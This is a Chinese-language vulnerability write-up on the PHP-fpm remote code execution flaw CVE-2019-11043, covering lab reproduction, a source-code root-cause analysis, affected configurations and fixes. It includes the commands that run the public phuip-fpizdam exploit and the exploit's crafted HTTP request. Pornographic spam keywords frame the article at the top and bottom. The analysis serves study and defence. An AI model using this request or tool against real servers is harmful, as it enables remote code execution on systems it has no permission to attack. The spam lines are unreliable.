国产成人精品18p,天天干成人网,无码专区狠狠躁天天躁,美女脱精光隐私扒开免费观看

PHP-fpm遠程代碼執行漏洞的影響及修復方法

發(fā)布時(shí)間:2021-09-14 11:25 來(lái)源:億速云 閱讀:0 作者:chen 欄目: 網(wǎng)絡(luò )安全 歡迎投稿:712375056

本篇內容介紹了“PHP-fpm遠程代碼執行漏洞的影響及修復方法”的有關(guān)知識,在實(shí)際案例的操作過(guò)程中,不少人都會(huì )遇到這樣的困境,接下來(lái)就讓小編帶領(lǐng)大家學(xué)習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學(xué)有所成!

漏洞復現

為了能更方便的復現漏洞,這里我們采用vulhub來(lái)構建漏洞環(huán)境。

https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

git pull并docker-compose up -d

訪(fǎng)問(wèn)http://{your_ip}:8080/

下載github上公開(kāi)的exp(需要go環(huán)境)。

go get github.com/neex/phuip-fpizdam

然后編譯

go install github.com/neex/phuip-fpizdam

使用exp攻擊demo網(wǎng)站

phuip-fpizdam http://{your_ip}:8080/

攻擊成功

漏洞分析

在分析漏洞原理之前,我們這里可以直接跟入看修復的commit

https://github.com/php/php-src/commit/ab061f95ca966731b1c84cf5b7b20155c0a1c06a#diff-624bdd47ab6847d777e15327976a9227

從commit中我們可以很清晰的看出來(lái)漏洞成因應該是path_info的地址可控導致的,再結合漏洞發(fā)現者公開(kāi)的漏洞信息中提到

The regexp in `fastcgi_split_path_info` directive can be broken using the newline character (in encoded form, %0a). Broken regexp leads to empty PATH_INFO, which triggers the bug.

也就是說(shuō),當path_info被%0a截斷時(shí),path_info將被置為空,回到代碼中我就不難發(fā)現問(wèn)題所在了。

其中env_path_info就是變量path_info的地址,path_info為0則plien為0.

slen變量來(lái)自于請求后url的長(cháng)度

    int ptlen = strlen(pt);
    int slen = len - ptlen;

其中

int len = script_path_translated_len;
len為url路徑長(cháng)度
當請求url為http://127.0.0.1/index.php/123%0atest.php
script_path_translated來(lái)自于nginx的配置,為/var/www/html/index.php/123\ntest.php
ptlen則為url路徑第一個(gè)斜杠之前的內容長(cháng)度
當請求url為http://127.0.0.1/index.php/123%0atest.php
pt為/var/www/html/index.php

這兩個(gè)變量的差就是后面的路徑長(cháng)度,由于路徑可控,則path_info可控。

由于path_info可控,在1222行我們就可以將指定地址的值置零,根據漏洞發(fā)現者的描述,通過(guò)將指定的地址的值置零,可以控制使_fcgi_data_seg結構體的char* pos置零。

其中script_name同樣來(lái)自于請求的配置

而為什么我們使_fcgi_data_seg結構體的char* pos置零,就會(huì )影響到FCGI_PUTENV的結果呢?

這里我們深入去看FCGI_PUTENV的定義.

char* fcgi_quick_putenv(fcgi_request *req, char* var, int var_len, unsigned int hash_value, char* val);

跟入函數fcgi_quick_putenv

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L1703

函數直接操作request的env,而這個(gè)參數在前面被預定義。

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L908

繼續跟進(jìn)初始化函數fcgi_hash_init.

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L254

也就是說(shuō)request->env就是前面提到的fcgi_data_seg結構體,而這里的request->env是nginx在和fastcgi通信時(shí)儲存的全局變量。

部分全局變量會(huì )在nginx的配置中定義

其中變量會(huì )在堆上相應的位置儲存

回到利用過(guò)程中,這里我們通過(guò)控制path_info指向request->env來(lái)使request->env->pos置零。

繼續回到賦值函數fcgi_hash_set函數

緊接著(zhù)進(jìn)入fcgi_hash_strndup

這里h->data-》pos的最低位被置為0,且str可控,就相當于我們可以在前面寫(xiě)入數據。

而問(wèn)題就在于,我們怎么能向我們想要的位置寫(xiě)數據呢?又怎么向我們指定的配置寫(xiě)文件呢?

這里我們拿exp發(fā)送的利用數據包做例子

GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: ubuntu.local:8080
User-Agent: Mozilla/5.0
D-Gisos: 8=====================================D
Ebut: mamku tvoyu

在數據包中,header中的最后兩部分就是為了完成這部分功能,其中D-Gisos負責位移,向指定的位置寫(xiě)入數據。

而Ebut會(huì )轉化為HTTP_EBUT這個(gè)fastcgi_param中的其中一個(gè)全局變量,然后我們需要了解一下fastcgi中全局變量的獲取數據的方法。

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L328

可以看到當fastcgi想要獲取全局變量時(shí),會(huì )讀取指定位置的長(cháng)度字符做對比,然后讀取一個(gè)字符串作為value.

也就是說(shuō),只要位置合理,var值相同,且長(cháng)度相同,fastcgi就會(huì )讀取相對應的數據。

而HTTP_EBUT和PHP_VALUE恰好長(cháng)度相同,我們可以從堆上數據的變化來(lái)印證這一點(diǎn)。

在覆蓋之前,該地址對應數據為

然后執行fcgi_quick_putenv

該地址對應數據變?yōu)?/p>

我們成功寫(xiě)入了PHP_VALUE并控制其內容,這也就意味著(zhù)我們可以控制PHP的任意全局變量。

當我們可以控制PHP的任意全局變量就有很多種攻擊方式,這里直接以EXP中使用到的攻擊方式來(lái)舉例子。

exp作者通過(guò)開(kāi)啟自動(dòng)包含,并設置包含目錄為/tmp,之后設置log地址為/tmp/a并將payload寫(xiě)入log文件,通過(guò)auto_prepend_file自動(dòng)包含/tmp/a文件構造后門(mén)文件。

漏洞修復

在經(jīng)過(guò)對漏洞的深入研究后,我們推薦兩種方案修復這個(gè)漏洞。

臨時(shí)修復:

修改nginx相應的配置,并在php相關(guān)的配置中加入

    try_files $uri =404

在這種情況下,會(huì )有nginx去檢查文件是否存在,當文件不存在時(shí),請求都不會(huì )被傳遞到php-fpm。

正式修復:

將PHP 7.1.X更新至7.1.33 https://github.com/php/php-src/releases/tag/php-7.1.33

將PHP 7.2.X更新至7.2.24 https://github.com/php/php-src/releases/tag/php-7.2.24

將PHP 7.3.X更新至7.3.11 https://github.com/php/php-src/releases/tag/php-7.3.11

漏洞影響

結合EXP github中提到的利用條件,我們可以盡可能的總結利用條件以及漏洞影響范圍。

1、Nginx + php_fpm,且配置location ~ [^/]\.php(/|$)會(huì )將請求轉發(fā)到php-fpm。

2、Nginx配置fastcgi_split_path_info并且以^開(kāi)始以$,只有在這種條件下才可以通過(guò)換行符來(lái)打斷正則表達式判斷。 ps: 則允許index.php/321 -> index.php

fastcgi_split_path_info ^(.+?\.php)(/.*)$;

3、fastcgi_param中PATH_INFO會(huì )被定義通過(guò)fastcgi_param PATH_INFO $fastcgi_path_info;,當然這個(gè)變量會(huì )在fastcgi_params默認定義。

4、在nginx層面沒(méi)有定義對文件的檢查比如try_files $uri =404,如果nginx層面做了文件檢查,則請求不會(huì )被轉發(fā)給php-fmp。

這個(gè)漏洞在實(shí)際研究過(guò)程中對真實(shí)世界危害有限,其主要原因都在于大部分的nginx配置中都攜帶了對文件的檢查,且默認的nginx配置不包含這個(gè)問(wèn)題。

但也正是由于這個(gè)原因,在許多網(wǎng)上的范例代碼或者部分沒(méi)有考慮到這個(gè)問(wèn)題的環(huán)境,例如Nginx官方文檔中的范例配置、NextCloud默認環(huán)境,都出現了這個(gè)問(wèn)題,該漏洞也正真實(shí)的威脅著(zhù)許多的安全。

在這種情況下,這個(gè)漏洞也切切實(shí)實(shí)的陷入了黑暗森林法則,一旦有某個(gè)帶有問(wèn)題的配置被傳播,其導致的可能就是大批量的服務(wù)受到牽連,確保及時(shí)的更新永遠是對保護最好的手段:>

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自本網(wǎng)站內容采集于網(wǎng)絡(luò )互聯(lián)網(wǎng)轉載等其它媒體和分享為主,內容觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如侵犯了原作者的版權,請告知一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容,聯(lián)系我們QQ:712375056,同時(shí)歡迎投稿傳遞力量。

女人被狂躁到高潮视频免费软件| 免费无码AV一区二区 | 日韩精品亚洲aⅴ在线影院| 69国产成人综合久久精品| 97SE狠狠狠狠狼亚洲综合网| 久久九九精品国产综合喷水|